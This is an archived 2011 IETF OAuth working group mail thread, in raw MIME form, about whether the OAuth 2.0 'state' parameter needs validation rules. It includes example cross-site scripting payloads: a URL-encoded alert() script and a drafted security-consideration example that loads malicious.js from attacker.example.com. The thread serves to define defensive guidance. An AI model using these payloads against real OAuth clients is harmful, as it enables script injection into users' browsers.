Content-Transfer-Encoding: quoted-printable Been following this discussion I'll propose some text, though it seems to me it is getting into the realm of "Don't trust inputs" It is also worth noting that signing the request using something like the HMAC extension elevates any problems where you DO need to evaluate the state parameter in some way wher= e the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly but, someone may do it). Really though, just seems like general application security advice rather than OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to processing for their application's requirements. Modifications, for security or otherwise to the 'state' variable contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authorization Response or Error Response as the response 'state' value MUST be identical to the value in the request= . If the 'state' parameter passed between client and server contains a value which is interpreted or otherwise placed into a context that requires evaluation of the unmodified value then a cryptographic scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used to verify request authenticity. It should be noted however than a cryptographically authentic request may still contain malicious code if the client or server integrity can not be established and trusted. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20typ= e%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2F= malicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- Not claiming it is good, well written or concise ... but it is proposed. Even if it is rejected, feedback would be appreciated. Thanks, Aiden On 20 July 2011 18:36, Eran Hammer-Lahav wrote: > I think most of your description isn't very relevant to this particular > attack. I'll skip to the part where the legitimate client gets a maliciou= sly > modified state parameter value. > > Your concern seems to be a simple code injection attack (e.g. that some > clients will not properly protect their code from invalid state values). = For > example, a client may use state to pass a JSON string and when it receive= s > it back, calls eval() on the raw state value or even JSON.parse without > catching exceptions. > > The right way to address this is to add a new security consideration > section discussion the various Injection Attacks possible. Using state to > include malicious code is one. Another is code injection in the redirect_= uri > by a malicious client to an authorization server supporting dynamic > redirection URIs. > > Then of course, there really is no need for any elaborate setup for anyon= e > to send requests to the client redirection URI endpoint directly (without > following any of the flow). In such a case, the enforcement of safe state > values by the authorization server will accomplish nothing if the client > doesn't perform its own validation (and we're back to square one). In oth= er > words, I can call any endpoint on the client with any malicious parameter= s > and try to break it. > > But even if you perform input validation on the client side, which should > prevent a code injection attack, you are still open to other malicious > manipulation of the state parameter. For example, a na=EFve client can us= e the > state parameter to pass a user id so that when the redirection callback i= s > called, it can link the access token to that account. That of course, wou= ld > be a very bad thing (tm) without some protection (e.g. state cookie) whic= h > the client can use to validate the state value. > > In short, over specification does not solve ignorance. We can and should > highlight the possible code injection attacks on both the client and > authorization server, as well as other security concerns around the state > parameter. But at the end, it is up to both the client and authorization > server developers to build secure applications. > > So, anyone volunteering to propose text? > > EHL > > > > -----Original Message----- > > From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of > > Bob Van Zant > > Sent: Wednesday, July 20, 2011 9:29 AM > > To: Eran Hammer-Lahav > > Cc: Breno; OAuth WG > > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > The problem lies in the inherent trust of the state parameter. The naiv= e > > client application developer assumes that state goes out to the > authorization > > server and comes back unchanged; because that's what the spec says will > > happen. > > > > As a malicious person I use the client application and steal the client > id when > > I'm redirected to the authorization server. > > > > I then craft my own authorization URL pretending to act on behalf of th= e > > client application. > > > > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type= =3D > > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > > > I send that out to unsuspecting people. Those people are sent to my sit= e; > > maybe they trust it. The site is asking them to authorize an applicatio= n > they > > perhaps they're familiar with. So they do. > > > > Now the assumption, and it's really not much of a leap of faith, is tha= t > some > > client developer is going to take that state variable and put it direct= ly > into > > their site. In PHP it could be something silly > > like: > > > > Thanks for authorizing our app, $_GET["state"]. > > > > Chrome protects me from this basic attack (I just inserted it into one = of > my > > demos): Refused to execute a JavaScript script. Source code of script > found > > within request. Other browsers won't. Real attackers are more creative > than > > me. > > > > -Bob > > > > > > > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > wrote: > > > Can you provide examples of bad values and how they make the > > implementation less secure? What's the attack vector here? > > > > > > EHL > > > > > >> -----Original Message----- > > >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf > > Of > > >> Bob Van Zant > > >> Sent: Wednesday, July 20, 2011 9:10 AM > > >> To: Breno; Eran Hammer-Lahav > > >> Cc: OAuth WG > > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > >> > > >> I think somewhere in here my original comments got lost. The spec, a= s > > >> written, provides no limitations on what can go in the state variabl= e. > > >> If we don't define those limitations in the spec implementors are > > >> going to define their own limitations (I'm on the verge of doing it > myself). > > >> > > >> I propose that the state variable be limited to the set of character= s > > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 > characters. > > >> It's simple, doesn't require URL encoding, and will be hard for a > > >> client application to turn into a vulnerability. It provides plenty > > >> of uniqueness (it can fit a sha512) for even the largest and most us= ed > > client applications. > > >> > > >> -Bob > > >> > > >> > > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > > >> wrote: > > >> > > > >> > > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > >> > > > >> > wrote: > > >> >> > > >> >> > > >> >> > -----Original Message----- > > >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > > >> >> > Behalf Of Eliot Lear > > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > > >> >> > > >> >> > One other point: if the redirection_uri can have fragments and > > >> >> > can be provided, why is state necessary? > > >> >> > > >> >> First, I assume you mean query instead of fragment. > > >> >> > > >> >> This was discussed on the list about a year ago. There isn't a > > >> >> requirement to support both dynamic redirection URIs as well as a > > >> >> special state parameter. However, the state parameter provides a > > >> >> better way to allow customization of the redirection request > > >> >> alongside full registration of the redirection URI. Section 3.1.2 > > >> >> recommends using the state parameter over changing the redirectio= n > > >> >> URI > > >> itself. > > >> >> > > >> >> Using state is much simpler because the authorization server does > > >> >> not have to implement potentially insecure URI comparison > > >> >> algorithms for dynamic redirection URIs. > > >> > > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > > >> > dynamic specification of query or fragment parameters in redirect > > >> > URIs, for instance, due largely to security considerations. > > >> > > > >> >> > > >> >> EHL > > >> >> _______________________________________________ > > >> >> OAuth mailing list > > >> >> OAuth@ietf.org > > >> >> https://www.ietf.org/mailman/listinfo/oauth > > >> > > > >> > > > >> > > > >> > -- > > >> > Breno de Medeiros > > >> > > > >> > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > --=20 ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --00163646d9b3d6d45a04a8848902 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Been following this discussion

I'll propose some text, though it= seems to me it is getting into the realm of "Don't trust inputs&q= uot;

It is also worth noting that signing the request using somethin= g like the HMAC extension elevates any
problems where you DO need to evaluate the state parameter in some way wher= e the evaluation process
is too complex to secure (DSLs and languages in= state, which is really ugly but, someone may do it).

Really though= , just seems like general application security advice rather than OAuth spe= cific

Security Consideration: Code Injection Attacks

Incorrect validat= ion or sanitation of the 'state' parameter from section 4.1.2 could= lead to code
injection.

Both client and server SHOULD ensure tha= t the "state" parameter described
in section 4.1.2 is correctly validated, escaped or sanitised prior to proc= essing for their application's
requirements. Modifications, for secu= rity or otherwise to the 'state' variable contained in the Authoriz= ation Request by the
authorization server will not be transmitted to the client in the Authoriza= tion Response or Error Response
as the response 'state' value MU= ST be identical to the value in the request.

If the 'state' = parameter passed between client and server contains a value which is interp= reted or
otherwise placed into a context that requires evaluation of the unmodified = value then a cryptographic
scheme such as that defined in [I-D.ietf-oaut= h-v2-http-mac] should be used to verify request authenticity.
It should = be noted however than a cryptographically authentic request may still conta= in malicious
code if the client or server integrity can not be established and trusted.<= br>
As an example, a malicious person may create a fake Error Response a= s described in section
4.1.2.1 containing a maliciously crafted state pa= rameter. The following request would be sent to
the client:

=A0https://clie= nt.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20type%3D%22t= ext%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmaliciou= s.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the clie= nt application
may result in the injection of code into the user agent o= f the end user, possibly compromising data.
This example attack can be = mitigated by sanitising the 'state' parameter to remove or escape H= TML
syntax before interpolation of the value into server output to the user age= nt.

--end--

Not claiming it is good, well written or concise = ... but it is proposed. Even if it is rejected, feedback
would be apprec= iated.

Thanks,
Aiden


On 20 July 2011 = 18:36, Eran Hammer-Lahav <eran@hueniverse.com> wrote:
I think most of your description isn't very relevant to this particular= attack. I'll skip to the part where the legitimate client gets a malic= iously modified state parameter value.

Your concern seems to be a simple code injection attack (e.g. that some cli= ents will not properly protect their code from invalid state values). For e= xample, a client may use state to pass a JSON string and when it receives i= t back, calls eval() on the raw state value or even JSON.parse without catc= hing exceptions.

The right way to address this is to add a new security consideration sectio= n discussion the various Injection Attacks possible. Using state to include= malicious code is one. Another is code injection in the redirect_uri by a = malicious client to an authorization server supporting dynamic redirection = URIs.

Then of course, there really is no need for any elaborate setup for anyone = to send requests to the client redirection URI endpoint directly (without f= ollowing any of the flow). In such a case, the enforcement of safe state va= lues by the authorization server will accomplish nothing if the client does= n't perform its own validation (and we're back to square one). In o= ther words, I can call any endpoint on the client with any malicious parame= ters and try to break it.

But even if you perform input validation on the client side, which should p= revent a code injection attack, you are still open to other malicious manip= ulation of the state parameter. For example, a na=EFve client can use the s= tate parameter to pass a user id so that when the redirection callback is c= alled, it can link the access token to that account. That of course, would = be a very bad thing (tm) without some protection (e.g. state cookie) which = the client can use to validate the state value.

In short, over specification does not solve ignorance. We can and should hi= ghlight the possible code injection attacks on both the client and authoriz= ation server, as well as other security concerns around the state parameter= . But at the end, it is up to both the client and authorization server deve= lopers to build secure applications.

So, anyone volunteering to propose text?

EHL


> -----Original Message-----
> From: bigbadbob0@gmail.com= [mailto:bigbadbob0@gmail.com] = On Behalf Of
> Bob Van Zant
> Sent: Wednesday, July 20, 2011 9:29 AM
> To: Eran Hammer-Lahav
> Cc: Breno; OAuth WG
> Subject: Re: [OAUTH-WG] OAuth v2-18 = comment on "state" parameter
>
> The problem lies in the inherent trust of the state parameter. The nai= ve
> client application developer assumes that state goes out to the author= ization
> server and comes back unchanged; because that's what the spec says= will
> happen.
>
> As a malicious person I use the client application and steal the clien= t id when
> I'm redirected to the authorization server.
>
> I then craft my own authorization URL pretending to act on behalf of t= he
> client application.
>
> http://example.com/oauth/authorize?cli= ent_id=3Ddeadbeef&response_type=3D
> code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E >
> I send that out to unsuspecting people. Those people are sent to my si= te;
> maybe they trust it. The site is asking them to authorize an applicati= on they
> perhaps they're familiar with. So they do.
>
> Now the assumption, and it's really not much of a leap of faith, i= s that some
> client developer is going to take that state variable and put it direc= tly into
> their site. In PHP it could be something silly
> like:
>
> =A0 =A0 Thanks for authorizing our app, $_GET["state"].
>
> Chrome protects me from this basic attack (I just inserted it into one= of my
> demos): Refused to execute a JavaScript script. Source code of script = found
> within request. Other browsers won't. Real attackers are more crea= tive than
> me.
>
> -Bob
>
>
>
>
>
> On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> <eran@hueniverse.com>= wrote:
> > Can you provide examples of bad values and how they make the
> implementation less secure? What's the attack vector here?
> >
> > EHL
> >
> >> -----Original Message-----
> >> From: bigbadbob0@gmai= l.com [mailto:bigbadbob0@gmail.= com] On Behalf
> Of
> >> Bob Van Zant
> >> Sent: Wednesday, July 20, 2011 9:10 AM
> >> To: Breno; Eran Hammer-Lahav
> >> Cc: OAuth WG
> >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state&qu= ot; parameter
> >>
> >> I think somewhere in here my original comments got lost. The = spec, as
> >> written, provides no limitations on what can go in the state = variable.
> >> If we don't define those limitations in the spec implemen= tors are
> >> going to define their own limitations (I'm on the verge o= f doing it myself).
> >>
> >> I propose that the state variable be limited to the set of ch= aracters
> >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 c= haracters.
> >> It's simple, doesn't require URL encoding, and will b= e hard for a
> >> client application to turn into a vulnerability. It provides = plenty
> >> of uniqueness (it can fit a sha512) for even the largest and = most used
> client applications.
> >>
> >> -Bob
> >>
> >>
> >> On Wed, Jul 20, 2011 at 8:24 AM, Breno <breno.demedeiros@gmail.com>
> >> wrote:
> >> >
> >> >
> >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> >> > <eran@hueniver= se.com>
> >> > wrote:
> >> >>
> >> >>
> >> >> > -----Original Message-----
> >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On
> >> >> > Behalf Of Eliot Lear
> >> >> > Sent: Sunday, July 17, 2011 2:49 AM
> >> >>
> >> >> > One other point: if the redirection_uri can hav= e fragments and
> >> >> > can be provided, why is state necessary?
> >> >>
> >> >> First, I assume you mean query instead of fragment.<= br> > >> >>
> >> >> This was discussed on the list about a year ago. The= re isn't a
> >> >> requirement to support both dynamic redirection URIs= as well as a
> >> >> special state parameter. However, the state paramete= r provides a
> >> >> better way to allow customization of the redirection= request
> >> >> alongside full registration of the redirection URI. = Section 3.1.2
> >> >> recommends using the state parameter over changing t= he redirection
> >> >> URI
> >> itself.
> >> >>
> >> >> Using state is much simpler because the authorizatio= n server does
> >> >> not have to implement potentially insecure URI compa= rison
> >> >> algorithms for dynamic redirection URIs.
> >> >
> >> > Agree -- for instance, Google's provider doesn't= allow arbitrary
> >> > dynamic specification of query or fragment parameters in= redirect
> >> > URIs, for instance, due largely to security consideratio= ns.
> >> >
> >> >>
> >> >> EHL
> >> >> _______________________________________________
> >> >> OAuth mailing list
> >> >> OAuth@ietf.org=
> >> >> https://www.ietf.org/mailman/listinfo/oauth
> >> >
> >> >
> >> >
> >> > --
> >> > Breno de Medeiros
> >> >
> >> >
> >
_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



--
-----------= -------------------------------------------------------
Never send sensi= tive or private information via email unless it is encrypted. http://www.gnupg.org
--00163646d9b3d6d45a04a8848902-- From eran@hueniverse.com Wed Jul 20 11:41:01 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B5E7A21F87D3 for ; Wed, 20 Jul 2011 11:41:01 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.276 X-Spam-Level: X-Spam-Status: No, score=-2.276 tagged_above=-999 required=5 tests=[AWL=-0.278, BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id FZafHLAoEzXV for ; Wed, 20 Jul 2011 11:40:57 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 919E621F87A4 for ; Wed, 20 Jul 2011 11:40:57 -0700 (PDT) Received: (qmail 4235 invoked from network); 20 Jul 2011 18:40:57 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 20 Jul 2011 18:40:56 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 20 Jul 2011 11:40:53 -0700 From: Eran Hammer-Lahav To: Aiden Bell , OAuth WG Date: Wed, 20 Jul 2011 11:40:23 -0700 Thread-Topic: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Thread-Index: AcxHDDlrB3f3yA1mRlSV8qcPZ7Y2swAADGRg Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345020652D1E@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E72345020652D1EP3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 18:41:01 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E72345020652D1EP3PW5EX1MB01E_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Take a look at how the other sections in the draft setup the premise first = and give a quick explanation of the attack... EHL From: Aiden Bell [mailto:aiden449@gmail.com] Sent: Wednesday, July 20, 2011 11:38 AM To: Eran Hammer-Lahav; OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Been following this discussion I'll propose some text, though it seems to me it is getting into the realm = of "Don't trust inputs" It is also worth noting that signing the request using something like the H= MAC extension elevates any problems where you DO need to evaluate the state parameter in some way wher= e the evaluation process is too complex to secure (DSLs and languages in state, which is really ugly= but, someone may do it). Really though, just seems like general application security advice rather t= han OAuth specific Security Consideration: Code Injection Attacks Incorrect validation or sanitation of the 'state' parameter from section 4.= 1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly validated, escaped or sanitised prior to proc= essing for their application's requirements. Modifications, for security or otherwise to the 'state' varia= ble contained in the Authorization Request by the authorization server will not be transmitted to the client in the Authoriza= tion Response or Error Response as the response 'state' value MUST be identical to the value in the request= . If the 'state' parameter passed between client and server contains a value = which is interpreted or otherwise placed into a context that requires evaluation of the unmodified = value then a cryptographic scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used = to verify request authenticity. It should be noted however than a cryptographically authentic request may s= till contain malicious code if the client or server integrity can not be established and trusted. As an example, a malicious person may create a fake Error Response as descr= ibed in section 4.1.2.1 containing a maliciously crafted state parameter. The following req= uest would be sent to the client: https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20ty= pe%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2= Fmalicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client a= pplication may result in the injection of code into the user agent of the end user, po= ssibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to= remove or escape HTML syntax before interpolation of the value into server output to the user age= nt. --end-- Not claiming it is good, well written or concise ... but it is proposed. Ev= en if it is rejected, feedback would be appreciated. Thanks, Aiden On 20 July 2011 18:36, Eran Hammer-Lahav > wrote: I think most of your description isn't very relevant to this particular att= ack. I'll skip to the part where the legitimate client gets a maliciously m= odified state parameter value. Your concern seems to be a simple code injection attack (e.g. that some cli= ents will not properly protect their code from invalid state values). For e= xample, a client may use state to pass a JSON string and when it receives i= t back, calls eval() on the raw state value or even JSON.parse without catc= hing exceptions. The right way to address this is to add a new security consideration sectio= n discussion the various Injection Attacks possible. Using state to include= malicious code is one. Another is code injection in the redirect_uri by a = malicious client to an authorization server supporting dynamic redirection = URIs. Then of course, there really is no need for any elaborate setup for anyone = to send requests to the client redirection URI endpoint directly (without f= ollowing any of the flow). In such a case, the enforcement of safe state va= lues by the authorization server will accomplish nothing if the client does= n't perform its own validation (and we're back to square one). In other wor= ds, I can call any endpoint on the client with any malicious parameters and= try to break it. But even if you perform input validation on the client side, which should p= revent a code injection attack, you are still open to other malicious manip= ulation of the state parameter. For example, a na=EFve client can use the s= tate parameter to pass a user id so that when the redirection callback is c= alled, it can link the access token to that account. That of course, would = be a very bad thing (tm) without some protection (e.g. state cookie) which = the client can use to validate the state value. In short, over specification does not solve ignorance. We can and should hi= ghlight the possible code injection attacks on both the client and authoriz= ation server, as well as other security concerns around the state parameter= . But at the end, it is up to both the client and authorization server deve= lopers to build secure applications. So, anyone volunteering to propose text? EHL > -----Original Message----- > From: bigbadbob0@gmail.com [mailto:bigbadbob= 0@gmail.com] On Behalf Of > Bob Van Zant > Sent: Wednesday, July 20, 2011 9:29 AM > To: Eran Hammer-Lahav > Cc: Breno; OAuth WG > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > The problem lies in the inherent trust of the state parameter. The naive > client application developer assumes that state goes out to the authoriza= tion > server and comes back unchanged; because that's what the spec says will > happen. > > As a malicious person I use the client application and steal the client i= d when > I'm redirected to the authorization server. > > I then craft my own authorization URL pretending to act on behalf of the > client application. > > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type=3D > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > I send that out to unsuspecting people. Those people are sent to my site; > maybe they trust it. The site is asking them to authorize an application = they > perhaps they're familiar with. So they do. > > Now the assumption, and it's really not much of a leap of faith, is that = some > client developer is going to take that state variable and put it directly= into > their site. In PHP it could be something silly > like: > > Thanks for authorizing our app, $_GET["state"]. > > Chrome protects me from this basic attack (I just inserted it into one of= my > demos): Refused to execute a JavaScript script. Source code of script fou= nd > within request. Other browsers won't. Real attackers are more creative th= an > me. > > -Bob > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > wrote: > > Can you provide examples of bad values and how they make the > implementation less secure? What's the attack vector here? > > > > EHL > > > >> -----Original Message----- > >> From: bigbadbob0@gmail.com [mailto:bigbad= bob0@gmail.com] On Behalf > Of > >> Bob Van Zant > >> Sent: Wednesday, July 20, 2011 9:10 AM > >> To: Breno; Eran Hammer-Lahav > >> Cc: OAuth WG > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > >> > >> I think somewhere in here my original comments got lost. The spec, as > >> written, provides no limitations on what can go in the state variable. > >> If we don't define those limitations in the spec implementors are > >> going to define their own limitations (I'm on the verge of doing it my= self). > >> > >> I propose that the state variable be limited to the set of characters > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 characters= . > >> It's simple, doesn't require URL encoding, and will be hard for a > >> client application to turn into a vulnerability. It provides plenty > >> of uniqueness (it can fit a sha512) for even the largest and most used > client applications. > >> > >> -Bob > >> > >> > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > > >> wrote: > >> > > >> > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > >> > > > >> > wrote: > >> >> > >> >> > >> >> > -----Original Message----- > >> >> > From: oauth-bounces@ietf.org [mail= to:oauth-bounces@ietf.org] On > >> >> > Behalf Of Eliot Lear > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > >> >> > >> >> > One other point: if the redirection_uri can have fragments and > >> >> > can be provided, why is state necessary? > >> >> > >> >> First, I assume you mean query instead of fragment. > >> >> > >> >> This was discussed on the list about a year ago. There isn't a > >> >> requirement to support both dynamic redirection URIs as well as a > >> >> special state parameter. However, the state parameter provides a > >> >> better way to allow customization of the redirection request > >> >> alongside full registration of the redirection URI. Section 3.1.2 > >> >> recommends using the state parameter over changing the redirection > >> >> URI > >> itself. > >> >> > >> >> Using state is much simpler because the authorization server does > >> >> not have to implement potentially insecure URI comparison > >> >> algorithms for dynamic redirection URIs. > >> > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > >> > dynamic specification of query or fragment parameters in redirect > >> > URIs, for instance, due largely to security considerations. > >> > > >> >> > >> >> EHL > >> >> _______________________________________________ > >> >> OAuth mailing list > >> >> OAuth@ietf.org > >> >> https://www.ietf.org/mailman/listinfo/oauth > >> > > >> > > >> > > >> > -- > >> > Breno de Medeiros > >> > > >> > > > _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org --_000_90C41DD21FB7C64BB94121FBBC2E72345020652D1EP3PW5EX1MB01E_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Take a lo= ok at how the other sections in the draft setup the premise first and give = a quick explanation of the attack…

 

EHL<= o:p>

 

From: Aiden Bell [mailto:aiden449= @gmail.com]
Sent: Wednesday, July 20, 2011 11:38 AM
To: Eran Hammer-Lahav; OAuth WG
Subject: Re: [OAUTH-WG] OAuth v2-18= comment on "state" parameter

 

Been following this discussion

I'll propose some te= xt, though it seems to me it is getting into the realm of "Don't trust= inputs"

It is also worth noting that signing the request using= something like the HMAC extension elevates any
problems where you DO ne= ed to evaluate the state parameter in some way where the evaluation process=
is too complex to secure (DSLs and languages in state, which is really = ugly but, someone may do it).

Really though, just seems like genera= l application security advice rather than OAuth specific

Security Co= nsideration: Code Injection Attacks

Incorrect validation or sanitati= on of the 'state' parameter from section 4.1.2 could lead to code
inject= ion.

Both client and server SHOULD ensure that the "state"= parameter described
in section 4.1.2 is correctly validated, escaped or= sanitised prior to processing for their application's
requirements. Mod= ifications, for security or otherwise to the 'state' variable contained in = the Authorization Request by the
authorization server will not be transm= itted to the client in the Authorization Response or Error Response
as t= he response 'state' value MUST be identical to the value in the request.
If the 'state' parameter passed between client and server contains a v= alue which is interpreted or
otherwise placed into a context that requir= es evaluation of the unmodified value then a cryptographic
scheme such a= s that defined in [I-D.ietf-oauth-v2-http-mac] should be used to verify req= uest authenticity.
It should be noted however than a cryptographically a= uthentic request may still contain malicious
code if the client or serve= r integrity can not be established and trusted.

As an example, a mal= icious person may create a fake Error Response as described in section
4= .1.2.1 containing a maliciously crafted state parameter. The following requ= est would be sent to
the client:

 https://client.example.com/cb?error=3Daccess_denied&stat= e=3D%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fatta= cker.example.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of= the decoded value into the HTML buffer of the client application
may re= sult in the injection of code into the user agent of the end user, possibly= compromising data.
This example attack can be mitigated by sanitising = the 'state' parameter to remove or escape HTML
syntax before interpolati= on of the value into server output to the user agent.

--end--
Not claiming it is good, well written or concise ... but it is proposed. E= ven if it is rejected, feedback
would be appreciated.

Thanks,
= Aiden

On 20 July 2011 18:36= , Eran Hammer-Lahav <eran@huenive= rse.com> wrote:

I think most of y= our description isn't very relevant to this particular attack. I'll skip to= the part where the legitimate client gets a maliciously modified state par= ameter value.

Your concern seems to be a simple code injection attac= k (e.g. that some clients will not properly protect their code from invalid= state values). For example, a client may use state to pass a JSON string a= nd when it receives it back, calls eval() on the raw state value or even JS= ON.parse without catching exceptions.

The right way to address this = is to add a new security consideration section discussion the various Injec= tion Attacks possible. Using state to include malicious code is one. Anothe= r is code injection in the redirect_uri by a malicious client to an authori= zation server supporting dynamic redirection URIs.

Then of course, t= here really is no need for any elaborate setup for anyone to send requests = to the client redirection URI endpoint directly (without following any of t= he flow). In such a case, the enforcement of safe state values by the autho= rization server will accomplish nothing if the client doesn't perform its o= wn validation (and we're back to square one). In other words, I can call an= y endpoint on the client with any malicious parameters and try to break it.=

But even if you perform input validation on the client side, which = should prevent a code injection attack, you are still open to other malicio= us manipulation of the state parameter. For example, a na=EFve client can u= se the state parameter to pass a user id so that when the redirection callb= ack is called, it can link the access token to that account. That of course= , would be a very bad thing (tm) without some protection (e.g. state cookie= ) which the client can use to validate the state value.

In short, ov= er specification does not solve ignorance. We can and should highlight the = possible code injection attacks on both the client and authorization server= , as well as other security concerns around the state parameter. But at the= end, it is up to both the client and authorization server developers to bu= ild secure applications.

So, anyone volunteering to propose text?


EHL


> -----Original= Message-----
> From: bigbadb= ob0@gmail.com [mailto:bigbadbob= 0@gmail.com] On Behalf Of
> Bob Van Zant

> Sent: Wednesday, July 20, 2011 9:29 AM
> To: Er= an Hammer-Lahav
> Cc: Breno; OAuth WG

> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "sta= te" parameter
>
> The problem lies in the inherent trust o= f the state parameter. The naive
> client application developer assum= es that state goes out to the authorization
> server and comes back u= nchanged; because that's what the spec says will
> happen.
>> As a malicious person I use the client application and steal the clie= nt id when
> I'm redirected to the authorization server.
>
&= gt; I then craft my own authorization URL pretending to act on behalf of th= e
> client application.
>
> http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_typ= e=3D
> code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2F= script%3E
>
> I send that out to unsuspecting people. Those peo= ple are sent to my site;
> maybe they trust it. The site is asking th= em to authorize an application they
> perhaps they're familiar with. = So they do.
>
> Now the assumption, and it's really not much of= a leap of faith, is that some
> client developer is going to take th= at state variable and put it directly into
> their site. In PHP it co= uld be something silly
> like:
>
>     Thanks f= or authorizing our app, $_GET["state"].
>
> Chrome pr= otects me from this basic attack (I just inserted it into one of my
